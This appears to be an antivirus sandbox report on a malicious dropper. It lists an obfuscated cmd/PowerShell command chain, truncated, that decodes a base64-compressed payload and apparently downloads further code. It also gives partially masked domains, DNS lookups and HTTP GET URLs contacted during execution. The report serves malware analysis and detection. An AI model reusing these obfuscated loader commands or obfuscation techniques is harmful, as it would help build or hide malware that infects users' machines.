Technical Information
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' CMd.exE /c "SEt mfa=(NEw-objECT sYSTem.Io.strEAmrEaDer( ( NEw-objECT io.comPreSsioN.deflATEsTReam( [io.memOrySTReam][CONvERT]::froMBasE64stRIng( 'TZBRa4MwFIX/Sh4Caekaafuw0SCUdpS6dWPQje5hLx...
Network activity
Connects to
- 'up#x.ee':80
- 'up#x.ee':443
- 'mi####everdi.com':80
- 'pr####cionplus.com':80
- 'pr####cionplus.com':443
- 'ge###thamann.de':80
TCP
HTTP GET requests
- http://www.up#x.ee/vqUuJ3B7
- http://www.pr####cionplus.com/BuLyc2HKL
- http://www.ge###thamann.de/hP2IldM
Other
- 'up#x.ee':443
- 'pr####cionplus.com':443
UDP
- DNS ASK se##yd.com
- DNS ASK up#x.ee
- DNS ASK mi####everdi.com
- DNS ASK pr####cionplus.com
- DNS ASK ge###thamann.de
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' CMd.exE /c "SEt mfa=(NEw-objECT sYSTem.Io.strEAmrEaDer( ( NEw-objECT io.comPreSsioN.deflATEsTReam( [io.memOrySTReam][CONvERT]::froMBasE64stRIng( 'TZBRa4MwFIX/Sh4Caekaafuw0SCUdpS6dWPQje5hLx...' (with hidden window)
Executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $oK8 = [Type]( \"{3}{0}{2}{1}\"-f 'nVIR','nT','Onme','e') ; ${eXEcutIOnCoNTeXt}.\"In`VOKE`co`MmaNd\".(\"{1}{2}{0}\"-f 't','InvOK','EsCrIp' ).Invoke( ( ( & ( \"{0}{1}\"-f 'gC','i') (...
